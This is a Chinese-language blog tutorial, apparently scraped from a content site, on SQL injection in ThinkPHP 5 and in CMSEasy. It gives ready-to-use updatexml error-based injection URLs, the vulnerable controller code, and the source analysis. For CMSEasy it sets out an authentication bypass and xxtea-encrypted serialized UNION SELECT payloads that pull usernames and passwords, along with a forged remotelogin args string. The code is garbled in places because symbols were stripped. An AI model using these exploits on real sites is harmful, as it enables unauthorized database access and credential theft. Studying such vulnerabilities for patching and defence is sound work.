当前位置: 首页 > news >正文

织梦网站修改使用教程网站三大标签设置

织梦网站修改使用教程,网站三大标签设置,湘潭网站建设 电话磐石网络,龙岩长汀目录 1、ThinkPHP 中存在的 SQL注入 漏洞#xff08; select 方法注入#xff09; 1.1环境配置 1.1.1将 composer.json 文件的 require 字段设置成如下#xff1a; 1.1.2设置application/index/controller/Index.php 文件 1.1.3在 application/database.php 文件中配置…目录 1、ThinkPHP 中存在的 SQL注入 漏洞 select 方法注入 1.1环境配置 1.1.1将 composer.json 文件的 require 字段设置成如下 1.1.2设置application/index/controller/Index.php 文件 1.1.3在 application/database.php 文件中配置数据库相关信息并开启 application/config.php 中的 app_debug 和 app_trace 。​编辑​编辑 1.1.4Payload触发SQL注入 1.2漏洞分析 2、ThinkPHP 中存在的 SQL注入 漏洞 orderby 方法注入 2.1漏洞环境 2.1.1将 composer.json 文件的 require 字段设置成如下 2.1.2并配置 application/index/controller/Index.php 2.1.3在 config/database.php 文件中配置数据库相关信息并开启 config/app.php 中的 app_debug 和 app_trace  ​编辑 2.1.4漏洞利用 2.2漏洞分析 2.3漏洞修复 3、cms的sql注入 3.1第一个漏洞未授权登录  3.1.1查看admin.php发现构造函数可以跳过admin的限制 3.1.2这里就要考虑一下怎么在反序列化后放一个注入有解密就有加密所以我们要把加密函数提取出来加密函数提取后还有提取其他的关联函数才可以 3.2接下来如何编写 3.2.1.先写安全码 3.2.2.写注入语句注入语句必须是数组这里要清楚库里面有多少个字段才行 3.2.3访问页面 3.3拿到以后怎么访问到后台查看源码会发现是remotelogin然后还要加一个args传参 1、ThinkPHP 中存在的 SQL注入 漏洞 select 方法注入 1.1环境配置 本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤将数据拼接进 SQL 语句导致 SQL注入漏洞 的产生。漏洞影响版本 ThinkPHP5全版本 1.1.1将 composer.json 文件的 require 字段设置成如下 require: {php: 5.4.0,topthink/framework: 5.0.15 } 1.1.2设置application/index/controller/Index.php 文件 ?php namespace app\index\controller;class Index {public function index(){$username request()-get(username);$result db(users)-where(username,exp,$username)-select();return select success;} } 1.1.3在 application/database.php 文件中配置数据库相关信息并开启 application/config.php 中的 app_debug 和 app_trace 。 并在数据库中创建好users表 1.1.4Payload触发SQL注入 http://127.0.0.1/think/public/index.php?username[0]incusername[1]updatexml(1,concat(0x7,user(),0x7e),1)username[2]1 ​ 1.2漏洞分析 程序默认调用 Request 类的 get 方法中会调用该类的 input 方法然后进到thinkphp/helper.php中的db方法再进到thinkphp/library/think/db/Query.php中where方法通过其 parseWhereExp 方法分析查询表达式然后再返回并继续调用 select 方法准备开始构建 select 语句 此处调用$this-builder的select方法而此处$this-builder 为think/db/builder/Mysql类继承于Builder类因此调用的是Builder类的select方法 在 select 方法中程序会对 SQL 语句模板用变量填充其中用来填充 %WHERE% 的变量中存在用户输入的数据跟进这个 where 分析函数会发现其会调用生成查询条件 SQL 语句的 buildWhere 函数此处 $where 经过 buildWhere 方法处理后返回 $whereStr期间调用 parseWhereItem 方法 继续跟进 buildWhere 函数发现用户可控数据又被传入了 parseWhereItem where子单元分析函数。我们发现当操作符等于 EXP 时将来自用户的数据直接拼接进了 SQL 语句最终导致了 SQL注入漏洞 。 2、ThinkPHP 中存在的 SQL注入 漏洞 orderby 方法注入 2.1漏洞环境 本次漏洞存在于 Builder 类的 parseOrder 方法中。由于程序没有对数据进行很好的过滤直接将数据拼接进 SQL 语句最终导致 SQL注入漏洞 的产生。漏洞影响版本 5.1.16ThinkPHP55.1.22 2.1.1将 composer.json 文件的 require 字段设置成如下 require: {php: 5.6.0,topthink/framework: 5.1.25 } 2.1.2并配置 application/index/controller/Index.php ?php namespace app\index\controller;class Index {public function index(){$options request()-get(options);$result db(users)-max($options);var_dump($result);} } 2.1.3在 config/database.php 文件中配置数据库相关信息并开启 config/app.php 中的 app_debug 和 app_trace  create database tpdemo; use tpdemo; create table users(id int primary key auto_increment,username varchar(50) not null ); insert into users(id,username) values(1,Mochazz); insert into users(id,username) values(2,Jerry); insert into users(id,username) values(3,Kitty); 2.1.4漏洞利用 index.php?optionsid)%2bupdatexml(1,concat(0x7,user(),0x7e),1)%20from%20users%23 2.2漏洞分析 用户可控数据未经过滤传入 Query 类的 max 方法进行聚合查询语句构造接着调用本类的 aggregate 方法本次漏洞问题正是发生在该函数底层代码中所以所有调用该方法的聚合方法均存在 SQL 注入问题我们看到 aggregate 方法又调用了 Mysql 类的 aggregate 方法在该方法中我们可以明显看到程序将用户可控变量 $field 经过 parseKey 方法处理后与 SQL 语句进行了拼接。下面就来具体看看 parseKey 方法 Connection类下的aggregate()方法先经过了一个拼接然后会进入value()方法 该方法会调用 Builder 类的 select 方法来构造 SQL 语句 经过一个拼接得到的$fieldMAX(id) and updatexml(1,concat(0x7e,user(),0x7e),1)from users#) AS tp_max 然后看value()其中最重要的就是生成SQL语句处 $sql$this-builder-select(%query); Builder类下的select方法重点看对字段的处理也就是重点看$this-parseField($query, $options[field]), 将$field数组的值逐个传入parseKey中检查然后再往$array中添加值$array数组以逗号合并起来得到$fieldStr 上述的parsekey方法来自Mysql类下的parsekey方法会对字段名进行检查其中有一处不满足正则就加反引号的代码不过这对我们的上面$fields数组中的值没有影响因为都不满足那个正则 2.3漏洞修复 官方的修复方法是当匹配到除了 字母、点号、星号 以外的字符时就抛出异常。 3、cms的sql注入 先搭建环境成功登录网站 3.1第一个漏洞未授权登录  3.1.1查看admin.php发现构造函数可以跳过admin的限制 http://127.0.0.1/cms/index.php?caseconfigactsystemsetsiteadmin_diradminsitedefaultishtml1 这样就完全符合构造函数的要求可以进入网站后台拿到cookie安全码 $args xxtea_decrypt(base64_decode(front::$args), config::get(cookie_password)); $user$user-getrow(unserialize($args)); 注释cookie_password这里先拿到网站的安全码在把你的提交$args经过base64_decode的解码在xtea_decrypt这个函数进行解密全部解密后在进行一个反序列化unserialize反序列化用getrow方法查询到的结果获取数据库第一行 3.1.2这里就要考虑一下怎么在反序列化后放一个注入有解密就有加密所以我们要把加密函数提取出来加密函数提取后还有提取其他的关联函数才可以 ?php function xxtea_encrypt($str, $key) {if ($str ) {return ;}$v str2long($str, true);$k str2long($key, false);if (count($k) 4) {for ($i count($k); $i 4; $i) {$k[$i] 0;}}$n count($v) - 1;$z $v[$n];$y $v[0];$delta 0x9E3779B9;$q floor(6 52 / ($n 1));$sum 0;while (0 $q--) {$sum int32($sum $delta);$e $sum 2 3;for ($p 0; $p $n; $p) {$y $v[$p 1];$mx int32((($z 5 0x07ffffff) ^ $y 2) (($y 3 0x1fffffff) ^ $z 4)) ^ int32(($sum ^ $y) ($k[$p 3 ^ $e] ^ $z));$z $v[$p] int32($v[$p] $mx);}$y $v[0];$mx int32((($z 5 0x07ffffff) ^ $y 2) (($y 3 0x1fffffff) ^ $z 4)) ^ int32(($sum ^ $y) ($k[$p 3 ^ $e] ^ $z));$z $v[$n] int32($v[$n] $mx);}return long2str($v, false); }function str2long($s, $w) {$v unpack(V*, $s. str_repeat(\0, (4 - strlen($s) % 4) 3));$v array_values($v);if ($w) {$v[count($v)] strlen($s);}return $v; }function long2str($v, $w) {$len count($v);$n ($len - 1) 2;if ($w) {$m $v[$len - 1];if (($m $n - 3) || ($m $n)) return false;$n $m;}$s array();for ($i 0; $i $len; $i) {$s[$i] pack(V, $v[$i]);}if ($w) {return substr(join(, $s), 0, $n);}else {return join(, $s);} }function int32($n) {while ($n 2147483648) $n - 4294967296;while ($n -2147483649) $n 4294967296;return (int)$n; } 3.2接下来如何编写 3.2.1.先写安全码 3.2.2.写注入语句注入语句必须是数组这里要清楚库里面有多少个字段才行 在index.php开头添加以下代码$key 9a35ab2c5b5926c5dd4b29adc840df1c;$table array( userid-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 FROM cmseasy_user LIMIT 0,1# );echo base64_encode(xxtea_encrypt(serialize($table), $key)); echo base64_encode(xxtea_encrypt(serialize($table), $key));   要和前面顺序相反先序列号在加密在解码  3.2.3访问页面 3.3拿到以后怎么访问到后台查看源码会发现是remotelogin然后还要加一个args传参 tedefault a8DEYpBZyT5V3k16gb9MEL96E%2bCifLZChPA65C7qa4SyDMA0flrrsPkHG6fNuBMrLiq9854vDajpNlL65AyrtEiqhcdIlrFr7hZLpGdeQMQLxHQEOKWCWoadMry14kySpCg4TR0%2fPmh0hvOLY1tkmbNvS7wjCy2EarMtT8JOtlGFMdbIgMBNK%2fMasTNEvWuUbJsWE%2fLzs8hasQc9 正常运行后会产生以下信息 ​​ 这里只拿到了名字密码还没拿到还在解决
http://www.hkea.cn/news/14529368/

相关文章:

  • 影楼网站源码网页设计与网站建设试题及答案
  • 网站建设主要流程图网站开发实验室建设方案
  • 成都网站建设公私密浏览器在线看
  • 网站设计与制作培训班重庆网络营销渠道
  • 中山中小企业网站建设用html制作登录注册界面
  • 东莞网站制作十年乐云seo永康做网站的
  • 网站建设项目招标公告珠海网络公司有哪些
  • html网站开发 工具网站404怎么做的
  • 仿韩国网站源码在深圳帮人做网站
  • 学校门户网站建设工作汇报计算机网站建设方向
  • 阿里 网站备案核验单wordpress微信缩略图
  • 信用门户网站建设规范wordpress字数统计
  • 盐城网站开发代理咨询wordpress开启自定义字段
  • 做效果图网站有哪些做网站写代码好还是模板
  • 优的网站建设明细报价表网络营销的缺点及建议
  • 彩票网站网站建设上海万户信息技术有限公司
  • 杂志社网站建设意义wordpress主题更换字体教程 hu
  • 做网站销售好不好电商设计属于什么行业
  • 优良的定制网站建设制作商网页设计代码步骤
  • 江西赣州公司佛山企业推广优化
  • 爱站网seo关于建设教体局网站的申请
  • 陕西网站备案 多久分析网站结构
  • 网站开发框架文档wordpress表单制作单
  • 祁连网站建设公司ih5制作平台官网免费
  • 高校网站建设 调查wordpress编程主题
  • 伊春市网站建设seo关键词优化排名软件
  • 音乐网站开发文档品牌包装设计公司
  • 辽宁鲲鹏建设集团网站全国医院的网站建设
  • wordpress 网站加速我想接加工单
  • 燃气行业网站建设方案承包酒席可以做网站吗